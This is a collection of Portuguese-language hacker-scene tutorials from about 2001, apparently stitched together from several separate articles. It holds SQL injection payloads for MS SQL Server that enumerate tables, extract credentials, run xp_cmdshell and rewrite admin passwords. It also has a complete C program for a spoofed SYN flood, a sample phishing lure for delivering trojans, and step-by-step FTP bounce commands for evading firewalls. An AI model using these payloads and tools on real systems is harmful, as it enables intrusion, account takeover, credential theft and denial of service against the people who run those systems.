aih.Mas com um pouco de perspicacia e malicia voce poderah facilmente
detectar e passar por estes esquemas.O que se pode evidenciar mais uma vez
eh que um administrador de rede nao deve confiar somente nessas ferramentas.
Sem duvida que a grande maioria dos 'script kiddies' nao contemplariam uma
solucao para este problema, mas fucadores com conhecimentos basicos e um
pouco de experiencia 'venceriam' esse desafio.Quanto ao fucador, esse eh
um obstaculo simples frente a centenas de outros que existem por aih, nao
pense que saber passar ou 'detonar' algumas das ferramentas usadas pela
comunidade de seguranca o torna melhor que eles.Lembre-se, amigo, da mesma
forma que voce 'maquina' tecnicas para derrubar conceitos e ferramentas
de seguranca, o pessoal da seguranca 'maquina' e 'cria' obstaculos para
dificultar ao maximo o sucesso que um fucador possa vir a obter numa
investida qualquer.
A ferramenta em sih possui um conceito amplo, entao eh bom analisar outras
ferramentas de ISD.
http://www.w00w00.org/
http://packetstorm.securify.com/
http://www.securityfocus.com/
http://unsekurity.virtualave.net/
http://unsekurity.cyberpunk.com.br/
http://www.hacker.com.br/
http://www.bufferoverflow.org/
http://www.taldowin.com.br/
http://www.securenet.com.br/
http://www.absoluta.org/
Essa foi mais uma publicacao que expoe o perigo de se confiar na 'maquina'.
Sem duvida que esses programas sao bons e devem ser usados, mas nao sao a
solucao.Eh isto que quero evidenciar.Hoje em dia existe uma peneira, mas
fucadores com conhecimentos elevados nao sao peneirados.Varios outros
materiais estao a caminho, e o grau de dificuldade deve diminuir assim que
sairem novos tutoriais.Espero que todas essas publicacoes venham a ser
validas para alguem e agradeco as pessoas que nos tem dado apoio e nos
criticados com criticas construtivas.Um abraco a todos.
Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Este e outros artigos podem ser obtidos em:
http://unsekurity.virtualave.net/
OBSERVACAO: O autor nao se resposanbiliza pelo mau uso das informacoes e
dados aqui disponibilizados.Este artigo possui somente
propositos educacionais.
Advanced sql injection
Introdução
Nataniel A.K.A < Stinger >
stinger@hackermail.com
http://www.windefense.hpg.com.br********************************************************************** * * * * * * * *
1 - O que é sql injection ?
é um truque para injectar comandos SQL via paginas web , já que qualquer pagina web recebe parametros do usuario e os transmite para o banco de dados .
Imaginemos por exemplo uma pagina web escrita em asp que nos peça o username e a password . O que a pagina web vai fazer é enviar o username e a password para o banco de dados e este verificar se é um user ou password validos !
Então porque nao inserimos codigos SQL ? OK ! Isto só nao é teoria como é possivel !
2 - O que é preciso ?
Qualquer web browser
3 - Onde eu começo ?
Tente olhar por paginas que posssuam logins , submits , feedback search etc , enfim essencialmente paginas que possuam codigos asp ! Mas nós sabemos que os codigos em asp sao interpretados no server ! ok ! tente olhar para o codigo HTML então . Por exemplo :
Vemos aqui codigos delimitados por
Bem podemos fazer umas trocas para nossos intuitos !( Veja o html da pagina alvo e faça alterações e depois salve)
Se der certo podemos nos logar sem qualquer username ou password !
6 - Como executar comandos remotos com SQL injection ?
Se podemos injectar comandos sql então estamos aptos a correr comandos com boas permissoes , e note que o MS SQLserver corre por default com privilegios de sistema ! ( Equivalente a privilegios de administrador )
Observe por exemplo a seguinte string que nos permite executar comandos no server :
master..xp_cmdshell
Podemos tentar uma execução de comando :
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
Tente usar a cota dupla(") ou a simples(') se nao der certo
7 - Caçando dados do banco de dados utilizando ODBC error message
Nós podemos manipular os erros ODBC do banco de dados para trazer dados do banco de dados observe por exemplo esta URL normal :
http://windefense/index.asp?id=10
nós podemos tentar unir ( UNION ) o valor '10' com outra string do banco de dados , observe :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
A tabela INFORMATION_SCHEMA.TABLES contem informações sobre todas as tabelas do sistema com a string TABLE_NAME podemos receber informações sobre nomes de tabelas no banco de dados .
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-
Retorna o nome da primeira tabela do banco de dados . Se o sql server tenta converter a string UNION para um integer ocorre o erro seguinte :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5
Algo nos interessa aqui . Podemos ver que provocamos um erro e retornamos o nome da 1ª tabela do banco de dados que é "table1" . Para obter o nome da proxima tabela inserimos a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
Ou procurar dados com uma query , inserindo um comando sql de comparação (LIKE) :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
Onde o output é o seguinte :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5
Neste caso nos retornamos com a string , '%25login%25' na tabela escolhida (TABLE_NAME) , contendo a string "login" que retornou o login do admin que é "admin_login".
Podemos mapear tabelas com a seguinte string :
INFORMATION_SCHEMA.COLUMNS
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
Output :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5
Agora nós podemos usar a string NOT IN () para trazer o nome da proxima coluna :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Agora se raciocinarmos um pouco podemos obter outras coisinhas importantes como nomes colunas de id's , passwords , detalhes etc com a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5
Como retornar dados :
Vimos acima que podemos identificar nomes de tabelas , colunas etc . Agora o bom disso é que podemos utilizar a mesma tecnica para retornar dados da mesma , como por exemplo retornar o 1º "login_name" da tabela "admin_login" com a seguinte query :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5
Já conhecemos o login_name que é "neo" agora precisamos conhecer a password com a sequinte query
http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
Output:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5
Podemos ver realmente que retornamos aqui uma password "m4trix" para um user "neo" .
Como retornar passwords com valor numerico !
Um problema com este tipo de retorno é que valores numericos nao podem ser retornado via uma query do tipo :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
Se o usuario possui uma password do tipo : "31173" provavelmente teriamos no nosso browser o seguinte : "Page Not Found"
Para resolver este problema nos podemos juntar uma string numerica com alguns alfabetos :
http://windefense/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
Simplesmente usamos o sinal de (+) para juntar a password com qualquer texto que nós queremos (Codigo ASCII para '+' = 0x2b). Nós juntamos com um espaço(%20) a palavra morpheus . E manualmente chamando a função convert() para converter '31173 morpheus' dentro de um integer, o servidor sql retorna o seguinte erro :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5
Podemos ver que a password "31173" é retornada antes da string "morpheus"
Updates , e inserção de dados !
Se podemos retornar dados de uma tabela certamente que podemos updatear(actualizar) e inserir dados dentro do banco de dados :
Imaginemos o seguinte cenario podemos trocar usernames , passwords , inserir novos users , novas passwords etc .
Tentemos trocar a password para o user "neo" :
UPDATE = Comando sql para actualizar dados
http://windefense/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-- Agora o user "neo" tem uma password com o nome "newpas5"
INSERT = Comando sql para inserir dados
Para inserir dados na database usamos a seguinte query :
http://windefense/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
Podemos notar aqui novos valores da tabela admin_login como : ('login_id', 'login_name', 'password', 'details') para valores de : 666,'neo2','newpas5','NA'
Podemos nos logar como user "neo" e pass "newpas5"
conclusão :
Este txt nao foi nada lá dos melhores mas se termos em conta que ele foi apenas uma introdução ja serve como petisco .
Links e referencias :
rfp - o homem que hackeou o forum da packetstorm
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
como obter informações de erros ODBC
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
Um bom sumario de sqlinjection em sql servers
http://www.owasp.org/asac/input_validation/sql.shtml
A empresa sul-africana sensepost fala sobre sql injection
http://www.sensepost.com/misc/SQLinsertion.htm
Outros :
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
http://www.scan-asssociates.net
1 - Introducao
2 - A tecnica
2.1 - A Teoria
2.2 - A Pratica
2.3 - Utilidades Reais
3 - Terminando
3.1 - Links e Referencias
3.2 - Consideracoes Finais
Qual o hacker que nao quis executar um "Blind Spoof"?? Synflood eh uma tecnica de DoS(Denial of Service) que ficou muito conhecida por conta da real "indefesa" que muitos sistemas tinham no que diz respeito a ela! Um conceito inteligente que procura explorar uma das inumeras vulnerabilidades do protocolo TCP/IP(usado atualmente na Internet - 2001).
Acredita-se que Kevin David Mitnick usou o synflood em um exploit para conseguir implementar com sucesso um blind spoof na rede do "perito"(que deixava a porta do finger e servicos r* habilitados) em seguranca Tsutomu Shimomura, no final de 1994! Nada comprovado?
Mas a tecnica do SynFlood eh real! E tem suas utilidades! Neste simples artigo, pretendo abordar o conceito, mostrando uma visao geral do cenario onde esta tecnica pode ser implementada! Nao pretendo abordar aspectos de seguranca(ainda nao existe nada 100%), de modo que este material eh voltado ao pessoal newbie fucador(unsek scene)! Se voce eh elite ou pseudo-elite, favor nao ler, pois perderah seu tempo!
Se Mitnick o fez ou nao, isto nao importa! Nos podemos fazer, isso importa! Como toda tecnica de DoS, o synflood precisa ser executado com cautela! Olhando sobre a etica realistica, o synflood eh capaz de ser usado para prover acesso a sistemas para maior obtencao de conhecimentos, mas tambem pode retardar o fluxo de dados, afinal, uma rede ou um host permanecerah "dormindo" por alguns instantes! O synflood jamais deve ser usado com o unico intuito de "derrubar por derrubar"! Quem faz isso, ou eh cracker ou eh lamer! Uma rede ou um host derrubado eh um desperdicio, de recursos, de tempo e de conhecimento! Num item mais abaixo, poderemos ver quais as reais utilidades que esta tecnica possui para um fucador etico!
O Protocolo TCP/IP usado na Internet foi construido no termino da decada de 60! Implementado com sucesso em redes militares, logo se expandiu em universidades e mais a frente no que vemos hoje como Internet! O TCP/IP foi criado para ser usado sem a necessidade de pensar seriamente em seguranca! Muitos dos conceitos, antes revolucionarios e precisos, se tornaram furos serissimos de seguranca, capazes de dar um enorme poder aos detentores de tal conhecimento e de assustar a todos que se utilizavam de tal servico(Internet).
Como nao poderia deixar de ser, os hackers forcaram as coisas! Por volta de 1985, Steve Belovin, teorizou e detectou uma serie de problemas referentes ao TCP/IP e que em determinados casos poderia ser capaz de gerar graves furos de seguranca! O artigo de Belovin parece ter "passado batido", pois foi somente com a massificacao da Internet e o crescente numero de ataques que medidas de seguranca passaram a ser adotadas! A tecnica de Blind Spoof(ainda atual) soh passou a ter popularidade, apos o "incidente" com Kevin Mitnick! Hackers!! Sempre eles forcando as coisas para um mundo melhor!:)
O synflood explora algumas vulnerabilidades existentes entre o conceito da Internet e o esquema com que os sistemas operacionais tratam uma requisicao de conexao! Todos que conhecem o basico sobre TCP/IP, sabem que o processo inicial de uma conexao se chama "handshake".O handshake, eh o procedimento preludio, onde atraves de 3 vias, se pode efetuar o inicio de qualquer conexao na internet! Vejamos o diagrama abaixo, onde o host A irah tentar abrir uma conexao com o host B:
O host A solicita conexao atraves do envio de um pacote com o bit SYN ativado! Em seguida, o host B responde a solicitacao do Host A enviando um pacote com os bits SYN+ACK ativados! Por fim, para terminar o handshake, o Host A envia um pacote contendo o bit ACK ativado para o Host B, a partir de entao, as duas maquinas estarao conectadas e podem trocar dados entre si!
Abaixando um pouco mais o nivel, para os que desejam praticar Blind Spoof, Podemos analisar outro diagrama do handshake abaixo:
Host A Host B
| |
| |
--------------- SYN(x) -------------- > |
| |
| < ------ SYN(y),ACK(x+1) ---------------
| |
| |
--------------- ACK(y+1) ------------ > |
Analisando o modelo do handshake acima, podemos contemplar o "x" e o "y", que nada mais sao do que os numeros de sequencia! Eh atraves da descoberta desses numeros de sequencia que se pode efetuar um ataque de Spoof(Blind e Non/Blind).Na verdade, basta para nos predizermos aquele numero "y" para podermos ser bem sucedidos! Requer um pouco de trabalho, mas isso fica para outro tutorial!
Quando se dah inicio a um pedido de conexao, enviamos o SYN para o Host alvo, e em seguida, o host alvo nos envia um SYN+ACK! Apos o envio o host alvo fica a espera do nosso pacote ACK para que se possa fechar o handshake e dar inicio a troca de dados na conexao! Acontece, que este "tempo de espera" pelo nosso pacote ACK final do handshake pode nos servir para a implementacao de um ataque! Cada implementacao TCP/IP possui um tamanho determinado da fila de requisicoes de conexao! Supondo(vulgarmente) que um determinado Sistema Operacional tenha uma fila maxima de espera pelos ACKs(fechamento do handshake) de 10 conexoes!Se nos enviarmos mais de 10 SYNs e nao respondermos com ACKs, a fila ficarah cheia e se alguem quiser se conectar terah de esperar ateh que o tempo limite de espera pelo ACK termine e um novo espaco esteja disponivel na fila TCP/IP! Eh aqui que entra o SYNFLOOD, se enviarmos alguns milhares de SYN para um determinado host, e nao respondermos(spoofarmos o IP), mais cedo ou mais tarde, a fila irah encher e se alguem quiser se conectar no mesmo, vai ter que esperar! * fila aqui tem sentido real.
O diagrama abaixo pode facilitar ainda mais nossa compreensao:
| Host Atacante | | Host Alvo |
--------------- -----------
| (500)
| |
---> 100 SYNs -------------- > (400)
| |
---> 200 SYNs -------------- > (200)
| |
---> 300 SYNs -------------- > (-100)
Podemos notar que o ataque SYNFLOOD acima sobrecarregou o sistema do Host Alvo, enviando mais de 100 requisicoes do que a plataforma aguenta. Dependendo do Sistema Operacional, da implementacao TCP/IP dele, e de outros fatores(Firewall, etc), este ataque pode ser bastante efetivo!
Nao existe muito misterio em se floodar uma rede usando SYN-Flood! Programacao basica de Raw Sockets pode nos dar poder para criarmos uma ferramenta capaz de executar um SYNFLOOD sem problemas! Como a arquitetura Internet(TCP/IP) estah fundamentada no handshake, e este handshake por sua vez soh pode ser concretizado com o uso do bit SYN, podemos contemplar que se torna muito dificil para um adminitrador de rede "lutar" contra este tipo de Denial of Service! Quando implementado com ferramentas distribuidas, o SYNFLOOD se torna mais efetivo ainda!
Abaixo nos podemos ver um exemplo de um programa executor de SYNFLOOD.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <netdb.h>
#define NUM_PACOTES 10000
#define ERRO -1
/* Funcao flood e checksum */
int flood(unsigned short porta, unsigned int hacker, unsigned int vitima); unsigned short in_cksum (unsigned short *end, int tamanho);
int main(int argc, char *argv[]) {
unsigned int num_pacotes = NUM_PACOTES; int i;
unsigned int porta;
if(argc < 3) {
printf("***************************************************************n"); printf("***** Projeto Spoof/2002 - SYNFLOOD by Martin Fallon ******n"); printf("***************************************************************n"); printf("nUso: %s <ip_origem> <ip_vitima> <porta> num_pacoten",argv[0]); exit(0);
}
/* Necessita ser root para usar RAW SOCKS em muitos sistemas! */
if(geteuid() != 0) {
fprintf(stderr,"Erro: necessita ser root!!n"); exit(ERRO);
}
if (argc = 4) porta = atoi(argv[3]);
if (argc = 5) num_pacotes = atoi(argv[4]);
for(i = 0; i < num_pacotes; i++) {
flood(porta, inet_addr(argv[1]), inet_addr(argv[2])); printf(".");
}
puts("n");
printf("Pacotes Enviados com Sucesso!!n"); printf("Unsekurity Scene - A Cena Hacker Brasileira!!!!nn"); return 0;
}
int flood(unsigned short porta, unsigned int hacker, unsigned int vitima){
struct tcphdr meu_tcp;
/* Pseudo Header para manipular enderecos */
struct pseudo_header {
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
}pseudo_header;
int Meusocket;
struct sockaddr_in alvo;
int tam_alvo;
static int blah = 0;
blah++;
meu_tcp.source = getpid() + blah;
meu_tcp.dest = htons(porta);
meu_tcp.seq = getpid() + blah;
meu_tcp.ack_seq = 0;
meu_tcp.res1 = 0;
meu_tcp.doff = 5;
meu_tcp.res2 = 0;
meu_tcp.fin = 0;
meu_tcp.syn = 1; /* Bit SYN ativado */
meu_tcp.rst = 0;
meu_tcp.psh = 0;
meu_tcp.ack = 0;
meu_tcp.urg = 0;
meu_tcp.window = htons(512);
meu_tcp.check = 0;
meu_tcp.urg_ptr = 0;
pseudo_header.source_address = hacker;
pseudo_header.dest_address = vitima;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy(&meu_tcp, &pseudo_header.tcp, 20); meu_tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
alvo.sin_family = AF_INET;
alvo.sin_port = htons(porta);
alvo.sin_addr.s_addr = vitima;
tam_alvo=sizeof(alvo);
Meusocket = socket(AF_INET, SOCK_RAW, IPPROTO_TCP); if(Meusocket < 0){
fprintf(stderr, "Nao pode abrir raw socket!n"); exit(1);
}
/* sendto() envia nosso pacote construido. */
sendto(Meusocket, &meu_tcp, 20, 0, (struct sockaddr *)&alvo,tam_alvo); return 0;
}
/* Checksum */
unsigned short in_cksum(unsigned short *end, int tamanho) {
register long sum; u_short oddbyte; register u_short answer;
sum = 0;
while (tamanho > 1) {
sum += *end++;
tamanho -= 2;
}
if (tamanho == 1) {
oddbyte = 0;
*((u_char *) &oddbyte) = *(u_char *)end;
sum += oddbyte;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}
Cada sistema operacional pode responder de um jeito! Alguns, apenas o daemon(servico alvo) cai! Outros, o sistema trava! Alguns executam "saltos", ou seja, detectam o SYNFLOOD e tentam fugir dele! Enfim, varia, mas geralmente pode-se ser sucedido!
2.3 - Utilidades Reais
Como jah foi dito, o SYNFLOOD nao deve ser executado com o mero intuito de "derrubar para prejudicar".A ideia eh a implementacao de tecnicas Spoof mais avancadas como Blind/NonBlind Spoof! Acreditem, estamos em 2001 e ainda eh possivel executarmos estas tecnicas em varios sistemas!
Temos que ter conciencia que esta tecnica nao deve ser usada por divertimento! O hacking eh coisa seria, e como todos devem saber, eh bastante perigoso! A utilidade do SYNFLOOD pode ir mais alem, em alguns casos, se requer que derrubemos a maquina para executar algo.. um exemplo eh um bug no Red Hat Apolo onde um arquivo de configuracao do /etc/rc.d tem permissao de escrita para todo mundo! Um usuario que obteve shell comum(nao root) neste sistema pode sobrescrever este arquivo e atraves do SYNFLOOD forcar a reinicializacao da maquina! Este tipo de cenario eh bastante comum em ambientes Windows NT.
Mais um artigo basico para o pessoal NewBie Fucador! Juizo na execucao desta tecnica! Entenda a teoria e poderah contemplar maiores esquemas na implementacao dela!
http://unsekurity.virtualave.net/txts/socketsII.txt http://phrack.infonexus.com/ - "IP-spoofing Demystified"http://packetstorm.securify.com/papers/protocols/ipext.ps
Estou iniciando um projeto duradouro que visa criar ferramentas proprias
para todo tipo de Spoof! Isso mesmo! Sabemos que eh algo complexo e
trabalhoso, por isso estamos estipulando um prazo gigantesco! Por que de
se fazer isso??? - Aprendizado!!
Eu jah tive o prazer de usar muitas ferramentas de spoof! Em varias ateh
cheguei a ter que alterar o fonte para funcionar perfeitamente! Mas eu
nao estou satisfeito, afinal, qualquer um pode fazer isso(executar
ferramenta dos outros), de modo que pretendo ir mais fundo nesse conceito!
Ha muito a se dizer sobre Spoof, e espero em breve poder ir liberando mais
material! Existem varias ferramentas publicas e se voce quiser ter uma
ideia da pratica, pode testa-la em uma rede alvo!
Agradeco a todo pessoal da Unsekurity Scene! E espero que mais e mais
pessoas sintam a necessidade e se tornem concientes do aprendizado do
hacking etico!
Desenvolvido por Martin Fallon.
mar_fallon@yahoo.com.br
Estes e outros artigos podem ser obtidos em:
http://unsekurity.virtualave.net/
OBS: O Autor nao se reponsabiliza pelos mau uso dos dados e informacoes
aqui disponibilizados! Todos os dados e exemplos possuem somente
propositos educacionais!
OBS: Elites que se fecham em grupinhos, pseudo-elites que mudam home pages
e Analistas de Seguranca desonestos, favor nao ler este artigo! Nao
ha nada de util para voces nele!
********************************** * ILUSTRACOES BASICAS DE ALGUMAS * * TECNICAS CONTRA FIREWALLS * **********************************
Longe de ir fundo em todos os possiveis contextos que envolvem a analogia e a implementacao de Tecnicas para se passar por Firewalls, eu pretendo somente expor o basico sobre algumas Tecnicas visando o publico alvo NewBie.Com um pouco de dedicacao, torna-se facil expandir os conceitos para outras implementacoes tecnicas.Um Basico de TCP/IP, Linux, C, Sockets, e Conceito de Firewall se faz necessario.No entanto, pretendo explicar as teorias em detalhes para que nao haja nenhuma duvida nas implemetacoes. O que pretendo expor aqui eh ilustrativo, a dependencia de mais material sobre C, Sockets e TCP/IP se fazem necessarios para a exemplificacao das tecnicas, talvez num futuro proximo, essas tecnicas possam vir detalhadas com 'exploits exemplos' para as mesmas, no entanto, neste txt eu apenas irei me concentrar nas teorias que envolvem as tecnicas para que o fucador mais obstinado jah possa ir se adiantando sem esperar os futuros txts do Unsekurity Team sobre os assuntos ditos 'necessarios'.Entendendo a teoria,se dedicando e persistindo, voce estarah apto a implementacao das tecnicas que aqui serao descritas.
Muitos sistemas confiam em Softwares que se dizem capazes de barrar todo e qualquer pacote que nao "possua" uma permissao de entrada.Existem Dezenas de ferramentas com este conceito trabalhando em cima de hosts na Internet. O que este artigo pretende expor, eh que eh possivel 'enganar' esses softwares, tornando os mesmos ineficazes para nao dizer inuteis. Atualmente existem alguns conceitos de arquiteturas dominantes no mundo dos Firewalls, sao eles:
+ FILTROS DE PACOTES -> Esta arquitetura consiste num host ou roteador que
checa cada pacote verificando se o mesmo tem
permissao para ser enviado(roteado) para seu
destino, agindo como um filtro, barrando a entrada
de pacotes vindo de enderecos sem permissao e deixando
passar pacotes com enderecos permitidos.
+ SERVIDORES PROXIES -> Esta arquitetura consiste em um servidor qualquer
que nao possui o papel de roteador.Devemos nos
lembrar dos Servidores Proxies de Aplicacoes qualquer
como WWW e etc.Filtragem de pacotes via PROXY
obedecem a mesma regra dos outros servicos, ou seja,
o pacote para chegar no host destino precisa primeiro
passar pelo Servidor Proxy, e cabe ao Servidor Proxy
decidir ou nao se o pacote pode chegar ao seu
destino final.
Neste item, seguem ilustracoes de algumas tecnicas basicas que em determinados casos podem enviar pacotes, dados, comandos e etc sobre um Firewall.
A Tecnica mais conhecida de se exploitar um Firewall eh atraves da disseminacao de Trojans Horses.Sabemos que neste caso, a imaginacao do atacante deve ser bem elevada, tendo em vista que ele vai estar a merce do usuario alvo.Varios esquemas com trojans horses podem ser explorados, abaixo seguem alguns desses possiveis esquemas:
+ Envio de Executavel -> Envia-se um executavel contendo backdoor para um usuario 'meio' leigo.Logico que para isto voce vai necessitar possuir algum conhecimento sobre o sistema alvo, como por exemplo, uma conta de e-mail de um usuario e etc.. Um esquema para ficar bem claro poderia ser:
Uma faculdade de quimica, voce poderia enviar para algum usuario(professor) um executavel dizendo: 'PROGRAMA AUTOMATIZADOR DE CALCULOS ESTEQUIOMETRICOS'.Se puder enviar via fake mail seria melhor ainda. O Executavel teria que conter uma abertura de uma porta nao filtrada, ou mesmo uma acao que pudesse ser beneficiante no futuro mesmo com o continuo uso do Firewall.
+ Inducao de Acao -> Consiste em induzir uma determinada acao de um usuario para que se possa tirar proveito em cima dessa acao.Por Exemplo, voce descobre que o sistema alvo possui um Sistema Operacional X e que neste sistema, o Browser padrao eh vulneravel a uma condicao de buffer overflow, voce poderia induzir este usuario a visitar uma pagina e lah voce geraria um overflow que executaria codigos maliciosos na maquina alvo.Um Exemplo de eng. social induzindo a acao deste modo poderia ser:
" Sr. Fulano, venho atraves deste e-mail avisar ao senhor que voce acaba de ser contemplado com uma moto honda CG-125 num Sorteio Realizado pelo site XXX. Recomendamos ao senhor que visite a paginahttp://paginacomoexploitparaobrowserbugado.com/hacker.html para ler as instrucoes para aquisicao do premio."
Acho muito dificil ele nao ir visitar a pagina..:), logo ele foi induzido a pratica de uma acao que pode ser tirada como proveito.
Em todas as implemetacoes com uso de Trojans Horses, voce estah a merce do usuario que poderah executar o trojan, ou seja, se ele for esperto, voce pode se dar mal e ateh mesmo se expor.Entao, mano, Trojan Horse soh depois que os esquemas abaixo tiverem falhado.
Alguns Firewalls filtram pacotes atraves da checagem dos Datagramas.Um Exemplo de um esquema desses pode ser um servidor de ftp ftp.alvo.com. Digamos que alvo.com possua um ip 200.200.199.1, e este firewall soh permite conexoes neste servidor de ftp, IPs que compreendem de 200.200.199.1 ateh 200.200.199.255, ou seja, somente a classe C do IP do servidor (200.200.199.*), voce nao estah nessa classe, entao voce precisaria conseguir um IP que estah dentro desta classe.Pacientemente voce scaneia a rede e descobre que existe um servidor de FTP aberto em um dos hosts que possuem permissao para se conectar ao ftp ftp.alvo.com, chamaremos este servidor de ftpftp.ponte.gov.Voce poderia usar este host como "ponte" entre voce e o servidor ftp ftp.alvo.com, enganando assim o firewall.Um metodo para se fazer isto eh conhecido como 'FTP BOUNCE'.Logico que se seus conhecimentos forem maiores voce poderia exploitar o sistema intermediario e de lah mesmo se conectar ao sistema alvo.Mas a questao aqui eh que voce quer enviar pacotes para o servidor alvo.com.Vamos/ analisar um ataque amplamente descrito na Internet, que foi originalmente publicado por Hobbit, que consiste em baixar um arquivo do servidor de FTP ftpftp.alvo.com(arquivo.txt) via servidor ponte de FTP ftp.ponte.gov/.
O ataque consiste basicamente no seguinte:
Assumindo que voce possui um servidor de ftp que faz modo passivo.Abra uma conexao de FTP para o ip de sua propria maquina(sem ser localhost) e logue-se nela.Mude para um diretorio conveniente que voce tenha acesso a escrita e entao faca:
quote "pasv"
quote "stor foobar"
Anote o endereco e a porta que sao retornadas pelo comando PASV, exemplo 123,234,122,23,102,121.Esta sessao de FTP deve ser entao suspensa, entao jogue-a para background, ou entao abra outro console ou janela para dar sequencia a este esquema.
Construa um arquivo contendo comandos de servidor de FTP.Exemplo segue abaixo:
user ftp
pass -anonymous@
cwd /restrito
type i
port F,F,F,F,X,X
retr arquivo.txt
quit
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
...
Podemos chamar este arquivo de "instrs".F,F,F,F,X,X eh o mesmo endereco e porta que sua propria maquina colocou em suas maos na primeira conexao. O lixo no fim sao linhas extras que voce criou, cada linha contem 250 NULLS e nada mais, suficiente para encher 60k de dados extra.A razao para este enchimento eh explicado mais abaixo.
Abra uma conexao para ftp ftp.ponte.gov, logue-se nele como anonymous e cd /incoming.Agora digite o seguinte nesta sessao de FTP:
put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"
Isto irah transferir uma copia do seu arquivo "instrs" e entao chamarah ftp.C,C,C,C,0,21 que eh o endereco IP e as portas para conexao no alvo.Apos o download do arquivo arquivo.txt, ele deverah aparecer com o nome de foobar em sua maquina via a sua primeira conexao de FTP, ou seja, no seu proprio host.Se uma conexao para ftp ftp.ponte.govnao pode terminar por sih mesma, apague seu arquivo "instrs" e saia do servidor.De outro modo voce terah que reconectar ao servidor para terminar.
Podemos notar neste esquema que ele pode ser usado para passar por Tripwire,Filtros e Firewalls via implementacoes Bouncing.Existem scanners de portas que se utilizam desta fraqueza e varios outros esquemas tambem sao implementados via esse problema.Hoje em dia a maioria dos servidores de FTP nao sao mais vulneraveis a isto, mas ainda existem hosts a merce desta tecnica, variantes dela, bem como solucao de problemas poderao serem vistos no txt do Hobbit, link para o mesmo segue no item final 'Links e Referencias'.
